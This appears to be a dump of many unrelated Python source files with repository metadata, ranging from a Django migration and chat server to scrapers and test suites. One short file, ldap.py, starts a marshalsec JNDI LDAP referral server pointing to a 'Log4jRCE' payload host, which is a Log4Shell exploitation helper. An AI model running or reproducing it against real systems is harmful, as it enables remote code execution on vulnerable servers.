app/elearn/migrations/0007_auto_20210108_0007.py
Shetty073/soak-your-brain-elearning-app
5f44952b8efb55f870cffb9820dca0fcdd6206a1
[ "MIT" ]
16
2021-02-25T23:42:44.000Z
2022-01-10T12:38:16.000Z
app/elearn/migrations/0007_auto_20210108_0007.py
molk95/soak-your-brain-elearning-app
2784ad2d28d35fb05cc42a82ed8c1a7a393deb4e
[ "MIT" ]
6
2021-04-24T22:18:16.000Z
2021-05-16T16:35:59.000Z
app/elearn/migrations/0007_auto_20210108_0007.py
molk95/soak-your-brain-elearning-app
2784ad2d28d35fb05cc42a82ed8c1a7a393deb4e
[ "MIT" ]
3
2021-04-30T12:31:32.000Z
2022-01-31T12:31:58.000Z
# Generated by Django 3.1 on 2021-01-07 18:37
24.3
113
0.646091
# Generated by Django 3.1 on 2021-01-07 18:37 import django.db.models.deletion from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('elearn', '0006_auto_20210106_0159'), ] operations = [ migrations.AlterField( model_name='studentc...
0
0
0
341
0
0
0
30
68
a363ee9c7e33437ad4ce22369cc1fc8a1fde21ff
14,685
py
Python
topic_plugin/base.py
BotDevGroup/topic_plugin
22e2770ec31149d2b3a0ef353b73d4737b5f9122
[ "MIT" ]
null
null
null
topic_plugin/base.py
BotDevGroup/topic_plugin
22e2770ec31149d2b3a0ef353b73d4737b5f9122
[ "MIT" ]
null
null
null
topic_plugin/base.py
BotDevGroup/topic_plugin
22e2770ec31149d2b3a0ef353b73d4737b5f9122
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import logging log = logging.getLogger(__name__) MESSAGES_CACHE_KEY='topic-plugin-messages'
38.543307
151
0.542118
# -*- coding: utf-8 -*- import logging from telegram import Chat from telegram.error import BadRequest from marvinbot.handlers import CommandHandler, MessageHandler, CommonFilters, CallbackQueryHandler from marvinbot.plugins import Plugin from topic_plugin.factory import TopicPluginFactory from topic_plugin.models im...
70
65
0
14,156
0
0
0
168
157
071c33cadbf4e036a17c53d6938e5e9290f15866
4,054
py
Python
python/akg/ops/nn/conv_input_ad.py
KnowingNothing/akg-test
114d8626b824b9a31af50a482afc07ab7121862b
[ "Apache-2.0" ]
1
2020-08-31T02:43:43.000Z
2020-08-31T02:43:43.000Z
python/akg/ops/nn/conv_input_ad.py
KnowingNothing/akg-test
114d8626b824b9a31af50a482afc07ab7121862b
[ "Apache-2.0" ]
null
null
null
python/akg/ops/nn/conv_input_ad.py
KnowingNothing/akg-test
114d8626b824b9a31af50a482afc07ab7121862b
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 # coding: utf-8 # Copyright 2019 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
43.12766
116
0.682782
#!/usr/bin/env python3 # coding: utf-8 # Copyright 2019 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
0
2,612
0
0
0
0
0
74
134
b215dc02ab9358bb326b6b481d05ac82edebe201
605
py
Python
examples/ssd1306_show_bmp/ssd1306_show_bmp.py
jacklinquan/micropython-microbmp
3613d5e155a41cb01dc80575e85bec430e28adcb
[ "MIT" ]
2
2021-12-14T02:48:09.000Z
2021-12-31T08:03:23.000Z
examples/ssd1306_show_bmp/ssd1306_show_bmp.py
jacklinquan/micropython-microbmp
3613d5e155a41cb01dc80575e85bec430e28adcb
[ "MIT" ]
null
null
null
examples/ssd1306_show_bmp/ssd1306_show_bmp.py
jacklinquan/micropython-microbmp
3613d5e155a41cb01dc80575e85bec430e28adcb
[ "MIT" ]
2
2021-12-15T04:43:57.000Z
2022-01-24T08:42:55.000Z
# Hardware: ESP32, SSD1306 128x64 I2C screen # I2C(1): # scl: pin(25) # sda: pin(26) # Required modules: # ssd1306: official SSD1306 driver # microbmp # Required files: # img_LQ_48x48.bmp from machine import I2C from ssd1306 import SSD1306_I2C from microbmp import MicroBMP i2c = I2C(1) ssd = SSD...
21.607143
51
0.666116
# Hardware: ESP32, SSD1306 128x64 I2C screen # I2C(1): # scl: pin(25) # sda: pin(26) # Required modules: # ssd1306: official SSD1306 driver # microbmp # Required files: # img_LQ_48x48.bmp from machine import I2C from ssd1306 import SSD1306_I2C from microbmp import MicroBMP def bmp_to_screen(img, ...
0
0
0
0
0
136
0
0
23
e8cbf5fe2e2ed09e9aba8c63b60e6d90668a1431
445
py
Python
ldap.py
ArkAngeL43/f-for-java
bb51057666eacf9fe8e8615ed8807f5cdea9deac
[ "MIT" ]
null
null
null
ldap.py
ArkAngeL43/f-for-java
bb51057666eacf9fe8e8615ed8807f5cdea9deac
[ "MIT" ]
1
2022-02-01T01:07:19.000Z
2022-02-01T01:07:19.000Z
ldap.py
ArkAngeL43/f-for-java
bb51057666eacf9fe8e8615ed8807f5cdea9deac
[ "MIT" ]
null
null
null
import sys if __name__ == "__main__": ipa = sys.argv[1] main(f"{ipa}")
29.666667
147
0.629213
import os, subprocess, sys def main(ip): cwd = os.getcwd() os.chdir("./marshalsec/") print(os.listdir()) try: subprocess.run(["java", "-cp", "target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", f"http://{ip}:8888/#Log4jRCE"]) except: print("Something went wr...
0
0
0
0
0
326
0
16
23
cca57ca2015bbd7a560dd96b94b7506f8a8f7221
3,045
py
Python
my_python_module/algorithm/problems/random_walk.py
a358003542/wanze_python_project
db52515af80319000e9a47a7b02f3ccd2cf46afd
[ "MIT" ]
1
2020-10-30T08:54:22.000Z
2020-10-30T08:54:22.000Z
my_python_module/algorithm/problems/random_walk.py
a358003542/wanze_python_project
db52515af80319000e9a47a7b02f3ccd2cf46afd
[ "MIT" ]
null
null
null
my_python_module/algorithm/problems/random_walk.py
a358003542/wanze_python_project
db52515af80319000e9a47a7b02f3ccd2cf46afd
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*-coding:utf-8-*- def bulk_walk(num_steps, num_bulk, dClass): """ :param num_steps: :param num_bulk: :param dClass: :return: distances """ drunk = dClass() origin = Location(0, 0) distances = [] for i in range(num_bulk): f = Field() ...
24.36
68
0.595731
#!/usr/bin/env python # -*-coding:utf-8-*- import random from math import sqrt class Location(object): def __init__(self, x, y): self.x = x self.y = y def move(self, dx, dy): return Location(self.x + dx, self.y + dy) def get_x(self): return self.x def get_y(self): ...
201
0
0
1,531
0
126
0
-8
160
d3275c91a3c2f274e730c8d1f2a5fe974d7397b0
22,817
py
Python
src/muses/search_index/documents/collection_item.py
Aincient/cleo
933ef372fa7847d943206d72bfb03c201dbafbd6
[ "Apache-2.0" ]
null
null
null
src/muses/search_index/documents/collection_item.py
Aincient/cleo
933ef372fa7847d943206d72bfb03c201dbafbd6
[ "Apache-2.0" ]
null
null
null
src/muses/search_index/documents/collection_item.py
Aincient/cleo
933ef372fa7847d943206d72bfb03c201dbafbd6
[ "Apache-2.0" ]
3
2018-10-01T12:04:36.000Z
2021-01-07T09:30:50.000Z
from django.conf import settings from django_elasticsearch_dsl import Index __all__ = ( 'CollectionItemDocument', 'INDEX', ) INDEX = Index(settings.ELASTICSEARCH_INDEX_NAMES[__name__]) # See Elasticsearch Indices API reference for available settings INDEX.settings( number_of_shards=1, number_of_re...
28.664573
79
0.512293
import operator from django.conf import settings from django.db.models import Q from django_elasticsearch_dsl import DocType, Index, fields from django_elasticsearch_dsl_drf.compat import KeywordField, StringField import six from muses.collection.models.item import Item from ..constants import VALUE_NOT_SPECIFIED ...
0
22,069
0
0
0
0
0
184
180
f0afd4c1c786ff8eb099ee4a4e1ff4ca4951ad0e
62,864
py
Python
src/I2MC/I2MC.py
dcnieho/I2MC_Python
dbbc831c2b4a12a7e214d3b1e502796309e55f0e
[ "MIT" ]
3
2020-05-12T16:34:29.000Z
2022-01-25T12:23:27.000Z
src/I2MC/I2MC.py
dcnieho/I2MC_Python
dbbc831c2b4a12a7e214d3b1e502796309e55f0e
[ "MIT" ]
1
2021-12-23T15:12:27.000Z
2022-01-17T10:51:46.000Z
src/I2MC/I2MC.py
dcnieho/I2MC_Python
dbbc831c2b4a12a7e214d3b1e502796309e55f0e
[ "MIT" ]
5
2020-04-23T23:43:40.000Z
2022-03-25T15:11:48.000Z
# -*- coding: utf-8 -*- """ Created on Thu Sep 19 10:54:00 2019 @author: Jonathan van Leeuwen, Diederick Niehorster """ import numpy as np import scipy import scipy.signal import copy import warnings # ============================================================================= # Helper functions # ================...
41.249344
282
0.572203
# -*- coding: utf-8 -*- """ Created on Thu Sep 19 10:54:00 2019 @author: Jonathan van Leeuwen, Diederick Niehorster """ import numpy as np import math import scipy import scipy.interpolate as interp import scipy.signal from scipy.cluster.vq import vq, _vq from scipy.spatial.distance import cdist import copy import wa...
0
0
0
23
0
10,339
0
37
301
c5f653616470f9c05a0d782f591dec8f4b39407e
682
py
Python
src/main/python/pyleetcode/Reverse_Words_in_a_String_III.py
aav789/pengyifan-leetcode
aa0b1062c3e22ce50f6a97edb906338d86e4e9ae
[ "BSD-3-Clause" ]
26
2015-04-21T16:30:17.000Z
2020-03-18T03:02:19.000Z
src/main/python/pyleetcode/Reverse_Words_in_a_String_III.py
aav789/pengyifan-leetcode
aa0b1062c3e22ce50f6a97edb906338d86e4e9ae
[ "BSD-3-Clause" ]
1
2017-06-18T02:14:55.000Z
2017-06-18T02:14:55.000Z
src/main/python/pyleetcode/Reverse_Words_in_a_String_III.py
aav789/pengyifan-leetcode
aa0b1062c3e22ce50f6a97edb906338d86e4e9ae
[ "BSD-3-Clause" ]
25
2015-03-15T04:02:01.000Z
2020-03-01T01:11:18.000Z
""" Given a string, you need to reverse the order of characters in each word within a sentence while still preserving whitespace and initial word order. Example 1: Input: "Let's take LeetCode contest" Output: "s'teL ekat edoCteeL tsetnoc" Note: In the string, each word is separated by single space and there will not...
24.357143
148
0.678886
""" Given a string, you need to reverse the order of characters in each word within a sentence while still preserving whitespace and initial word order. Example 1: Input: "Let's take LeetCode contest" Output: "s'teL ekat edoCteeL tsetnoc" Note: In the string, each word is separated by single space and there will not...
0
0
0
0
0
91
0
0
23
35b69800a0b08fdd560043003e7fb417ba3865c6
5,235
py
Python
pyrtma/internal_types.py
twsimpso/pyrtma
02a74e658f050296c6ecad0f3ad55c18bfe207e3
[ "MIT" ]
null
null
null
pyrtma/internal_types.py
twsimpso/pyrtma
02a74e658f050296c6ecad0f3ad55c18bfe207e3
[ "MIT" ]
null
null
null
pyrtma/internal_types.py
twsimpso/pyrtma
02a74e658f050296c6ecad0f3ad55c18bfe207e3
[ "MIT" ]
null
null
null
import ctypes import sys module = sys.modules["pyrtma.internal_types"] # RTMA INTERNAL MESSAGE TYPES MT = {} MT["Exit"] = 0 MT["Kill"] = 1 MT["Acknowledge"] = 2 MT["FailSubscribe"] = 6 MT["FailedMessage"] = 8 MT["Connect"] = 13 MT["Disconnect"] = 14 MT["Subscribe"] = 15 MT["Unsubscribe"] = 16 MT["PauseSubscription"]...
26.573604
94
0.664756
import ctypes import sys from typing import ClassVar, Type from .constants import * module = sys.modules["pyrtma.internal_types"] # RTMA INTERNAL MESSAGE TYPES MT = {} MT["Exit"] = 0 MT["Kill"] = 1 MT["Acknowledge"] = 2 MT["FailSubscribe"] = 6 MT["FailedMessage"] = 8 MT["Connect"] = 13 MT["Disconnect"] = 14 MT["Subs...
0
704
0
2,655
0
75
0
15
435
412c8ad3eb5353898edf51bdd7ea46e5df71d707
19,281
py
Python
test-common/integrationtest/testcase/test_makesnapshot.py
lotabout/OpenMLDB
432da3afbed240eb0b8d0571c05f233b1a5a1cd4
[ "Apache-2.0" ]
2,659
2021-06-07T12:59:15.000Z
2022-03-30T15:29:37.000Z
test-common/integrationtest/testcase/test_makesnapshot.py
wei20024/OpenMLDB
16b426bcba18f70e083179f82db51e71e65d1bf6
[ "Apache-2.0" ]
1,396
2021-05-28T09:50:13.000Z
2022-03-31T16:37:49.000Z
test-common/integrationtest/testcase/test_makesnapshot.py
wei20024/OpenMLDB
16b426bcba18f70e083179f82db51e71e65d1bf6
[ "Apache-2.0" ]
499
2021-05-31T07:36:48.000Z
2022-03-31T15:10:12.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright 2021 4Paradigm # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required ...
37.150289
110
0.543385
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright 2021 4Paradigm # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required ...
1,284
3,107
0
14,822
0
0
0
30
133
a2d177b90238c93851711113a9674d8494656510
1,564
py
Python
zxtaputils/tapextract.py
weiju/zxtaputils
622c96bd987b73a27cec2d0c4500488f97478dfb
[ "MIT" ]
1
2021-12-01T04:04:00.000Z
2021-12-01T04:04:00.000Z
zxtaputils/tapextract.py
weiju/zxtaputils
622c96bd987b73a27cec2d0c4500488f97478dfb
[ "MIT" ]
null
null
null
zxtaputils/tapextract.py
weiju/zxtaputils
622c96bd987b73a27cec2d0c4500488f97478dfb
[ "MIT" ]
null
null
null
import struct from .util import compute_checksum """ tapextract.py - Extract the binary data from a TAP file """ def read_headerless_data(data_bytes): """only check the checksum and length here""" computed_checksum = compute_checksum(data_bytes[:-1]) checksum = struct.unpack_from('<B', data_bytes, len(dat...
32.583333
75
0.573529
import struct import traceback from .util import compute_checksum """ tapextract.py - Extract the binary data from a TAP file """ def read_headerless_data(data_bytes): """only check the checksum and length here""" computed_checksum = compute_checksum(data_bytes[:-1]) checksum = struct.unpack_from('<B', da...
0
0
0
0
0
1,102
0
-5
68
2b5747ad9b9342f9abaea8313c3f9e0d5bb5824f
124
py
Python
ToDo/Todo_MolSys/test.py
LMMV/MolModMT
5725d6d5627b07edcbbd5e55318345a136b28c35
[ "MIT" ]
3
2020-06-02T03:55:52.000Z
2022-03-21T04:43:52.000Z
ToDo/Todo_MolSys/test.py
LMMV/MolModMT
5725d6d5627b07edcbbd5e55318345a136b28c35
[ "MIT" ]
28
2020-06-24T00:55:53.000Z
2021-07-16T22:09:19.000Z
ToDo/Todo_MolSys/test.py
LMMV/MolModMT
5725d6d5627b07edcbbd5e55318345a136b28c35
[ "MIT" ]
1
2021-06-17T18:55:25.000Z
2021-06-17T18:55:25.000Z
import MolecularSystem msys=MolecularSystem.Universe() atom= for ii in xrange(300): msys.add_atom() msys._atomDB.df
11.272727
31
0.75
import MolecularSystem msys=MolecularSystem.Universe() atom= for ii in xrange(300): msys.add_atom() msys._atomDB.df
0
0
0
0
0
0
0
0
0
fba5d25beed21e182c8eafdb95221e339f376108
13,051
py
Python
gamestonk_terminal/due_diligence/market_watch_view.py
DT021/GamestonkTerminal
10d231ec2f86a19e69fdb65a2f4d37f33f723f6a
[ "MIT" ]
1
2021-07-25T20:34:29.000Z
2021-07-25T20:34:29.000Z
gamestonk_terminal/due_diligence/market_watch_view.py
DT021/GamestonkTerminal
10d231ec2f86a19e69fdb65a2f4d37f33f723f6a
[ "MIT" ]
1
2022-02-10T06:49:37.000Z
2022-02-10T06:49:37.000Z
gamestonk_terminal/due_diligence/market_watch_view.py
DT021/GamestonkTerminal
10d231ec2f86a19e69fdb65a2f4d37f33f723f6a
[ "MIT" ]
null
null
null
""" Market Watch View """ __docformat__ = "numpy" import argparse from typing import List import re import requests import pandas as pd from bs4 import BeautifulSoup import numpy as np from gamestonk_terminal.helper_funcs import (check_positive, get_user_agent, clean_data_values_to_float, int_or_round_float, parse_kno...
36.152355
105
0.568922
""" Market Watch View """ __docformat__ = "numpy" import argparse from typing import List import re import requests import pandas as pd from bs4 import BeautifulSoup import numpy as np from gamestonk_terminal.helper_funcs import ( check_positive, get_user_agent, clean_data_values_to_float, int_or_round...
0
0
0
0
0
0
0
23
0
ad711a6a6ff5ca11f1fc708e6c98a727d89b02ff
348
py
Python
pybrain/rl/environments/ode/tools/mathhelpers.py
sveilleux1/pybrain
1e1de73142c290edb84e29ca7850835f3e7bca8b
[ "BSD-3-Clause" ]
2,208
2015-01-02T02:14:41.000Z
2022-03-31T04:45:46.000Z
pybrain/rl/environments/ode/tools/mathhelpers.py
sveilleux1/pybrain
1e1de73142c290edb84e29ca7850835f3e7bca8b
[ "BSD-3-Clause" ]
91
2015-01-08T16:42:16.000Z
2021-12-11T19:16:35.000Z
pybrain/rl/environments/ode/tools/mathhelpers.py
sveilleux1/pybrain
1e1de73142c290edb84e29ca7850835f3e7bca8b
[ "BSD-3-Clause" ]
786
2015-01-02T15:18:20.000Z
2022-02-23T23:42:40.000Z
# TODO - redundant file, and functionality, as we use scipy!
18.315789
60
0.505747
# TODO - redundant file, and functionality, as we use scipy! import math def dotproduct(p, q): return p[0] * q[0] + p[1] * q[1] + p[2] * q[2] def norm(p): sum = 0 for i in p: sum += i ** 2 return math.sqrt(sum) def crossproduct(p, q): return (p[1] * q[2] - p[2] * q[1], p[2] * q[0] - p[0] * q[2], ...
0
0
0
0
0
204
0
-10
92
67068f2ed249ad4b4053a561ab7c7591a7b09de5
10,547
py
Python
facebook_business/adobjects/pagesavedfilter.py
Novabae/facebook-python-business-sdk
1aa614d88a7cacbd26dafba8b549b9ea7a6c9522
[ "CNRI-Python" ]
null
null
null
facebook_business/adobjects/pagesavedfilter.py
Novabae/facebook-python-business-sdk
1aa614d88a7cacbd26dafba8b549b9ea7a6c9522
[ "CNRI-Python" ]
null
null
null
facebook_business/adobjects/pagesavedfilter.py
Novabae/facebook-python-business-sdk
1aa614d88a7cacbd26dafba8b549b9ea7a6c9522
[ "CNRI-Python" ]
null
null
null
# Copyright 2014 Facebook, Inc. # You are hereby granted a non-exclusive, worldwide, royalty-free license to # use, copy, modify, and distribute this software in source code or binary # form for use in connection with the web services and APIs provided by # Facebook. # As with any software that integrates with the Fa...
43.582645
106
0.701906
# Copyright 2014 Facebook, Inc. # You are hereby granted a non-exclusive, worldwide, royalty-free license to # use, copy, modify, and distribute this software in source code or binary # form for use in connection with the web services and APIs provided by # Facebook. # As with any software that integrates with the Fa...
0
165
0
8,771
0
0
0
208
134
f497519aad8d7f3df99d37cb378bdfd471324142
9,209
py
Python
src/vln_evaluation/eval.py
batra-mlp-lab/vln-sim2real
e7e82f7222b35996c4f8d2e7ec68c80b8e541ad5
[ "BSD-3-Clause" ]
10
2020-11-11T02:22:32.000Z
2021-07-29T01:40:51.000Z
src/vln_evaluation/eval.py
batra-mlp-lab/vln-sim2real
e7e82f7222b35996c4f8d2e7ec68c80b8e541ad5
[ "BSD-3-Clause" ]
2
2021-02-24T07:29:39.000Z
2022-03-12T13:12:43.000Z
src/vln_evaluation/eval.py
batra-mlp-lab/vln-sim2real
e7e82f7222b35996c4f8d2e7ec68c80b8e541ad5
[ "BSD-3-Clause" ]
null
null
null
''' Evaluation of agent trajectories against the simulator (nav graph) ground truth ''' import json import numpy as np from dtw import DTW BASE_DIR = 'src/vln_evaluation/' GT = BASE_DIR + 'data/R2R_coda.json' CONN = BASE_DIR + 'data/connectivity/' WMAP_JSON_OUTPUT = BASE_DIR + 'data/bags/wmap/submit_coda_robot_...
42.050228
131
0.60506
''' Evaluation of agent trajectories against the simulator (nav graph) ground truth ''' import os import sys import json import math from collections import defaultdict import networkx as nx import numpy as np from dtw import DTW BASE_DIR = 'src/vln_evaluation/' GT = BASE_DIR + 'data/R2R_coda.json' CONN = BASE...
0
0
0
5,722
0
1,561
0
-19
180
2d6efdc40ea4aedeaac2731ee77519294678dd8f
26,390
py
Python
chat.py
janakj/groupchat
1fa068ade19aab86c763688aecbe1234bfa91c82
[ "MIT" ]
null
null
null
chat.py
janakj/groupchat
1fa068ade19aab86c763688aecbe1234bfa91c82
[ "MIT" ]
null
null
null
chat.py
janakj/groupchat
1fa068ade19aab86c763688aecbe1234bfa91c82
[ "MIT" ]
null
null
null
# # Group Chat Server # # Copyright (C) 2019 Internet Real-Time Laboratory # # Written by Jan Janak <janakj@cs.columbia.edu> # import os import time DOMAIN = os.environ['DOMAIN'] ADMIN_PASSWORD = os.environ['ADMIN_PASSWORD'] OUTBOUND_PROXY = os.environ.get('OUTBOUND_PROXY', 'sip:127.0.0.1:5060;transport=tcp')...
31.342043
148
0.579462
# # Group Chat Server # # Copyright (C) 2019 Internet Real-Time Laboratory # # Written by Jan Janak <janakj@cs.columbia.edu> # import re import os import shlex import types import time import json import sqlite3 import traceback import pjsua2 as pj import time from types import SimpleNamespace from email.utils impo...
0
1,504
0
19,292
0
3,347
0
-24
883
ab52d68d0e2e47dd7c8bcc6a06c5216131d64a8b
2,155
py
Python
apis/forecast.io/forecast.py
jontsai/hacktoolkit
975c530022736855060a8574c51dfffd338ccfd6
[ "MIT" ]
37
2015-01-04T11:20:29.000Z
2021-12-22T07:02:07.000Z
apis/forecast.io/forecast.py
jontsai/hacktoolkit
975c530022736855060a8574c51dfffd338ccfd6
[ "MIT" ]
1
2017-11-15T02:10:44.000Z
2017-11-15T02:48:25.000Z
apis/forecast.io/forecast.py
jontsai/hacktoolkit
975c530022736855060a8574c51dfffd338ccfd6
[ "MIT" ]
9
2015-01-03T22:36:10.000Z
2020-11-18T17:48:08.000Z
""" forecast.py author: Jonathan Tsai <hello@jontsai.com> Python interface to Forecast API Usage: python forecast.py LATITUDE LONGITUDE python forecast.py -t TIMESTAMP LATITUDE LONGITUDE Examples: $ python forecast.py 37.8267 -122.423 """ FORECAST_URL = 'https://api.forecast.io/forecast/%(api_key)s/%(l...
24.770115
111
0.567053
""" forecast.py author: Jonathan Tsai <hello@jontsai.com> Python interface to Forecast API Usage: python forecast.py LATITUDE LONGITUDE python forecast.py -t TIMESTAMP LATITUDE LONGITUDE Examples: $ python forecast.py 37.8267 -122.423 """ import getopt import json import requests import os import sys i...
0
0
0
54
0
1,423
0
-43
225
7e38871b7469a11abc5f5de647a02a97bb2f4d92
2,686
py
Python
detect_shape/deep.py
sprenge/concierge
3cd8ff33a0cb0d3cd79de914fbaf4e32d277ea40
[ "MIT" ]
2
2021-01-29T23:45:22.000Z
2021-07-29T04:29:29.000Z
detect_shape/deep.py
sprenge/concierge
3cd8ff33a0cb0d3cd79de914fbaf4e32d277ea40
[ "MIT" ]
null
null
null
detect_shape/deep.py
sprenge/concierge
3cd8ff33a0cb0d3cd79de914fbaf4e32d277ea40
[ "MIT" ]
null
null
null
import time import numpy as np import cv2 pt = './pi-object-detection/MobileNetSSD_deploy.prototxt.txt' ca = './pi-object-detection/MobileNetSSD_deploy.caffemodel' CLASSES = ["background", "aeroplane", "bicycle", "bird", "boat", "bottle", "bus", "car", "cat", "chair", "cow", "diningtable", "dog", "horse", "motorbik...
36.794521
101
0.61653
import time import numpy as np import argparse import cv2 pt = './pi-object-detection/MobileNetSSD_deploy.prototxt.txt' ca = './pi-object-detection/MobileNetSSD_deploy.caffemodel' CLASSES = ["background", "aeroplane", "bicycle", "bird", "boat", "bottle", "bus", "car", "cat", "chair", "cow", "diningtable", "dog", "h...
0
0
0
0
0
0
0
-6
22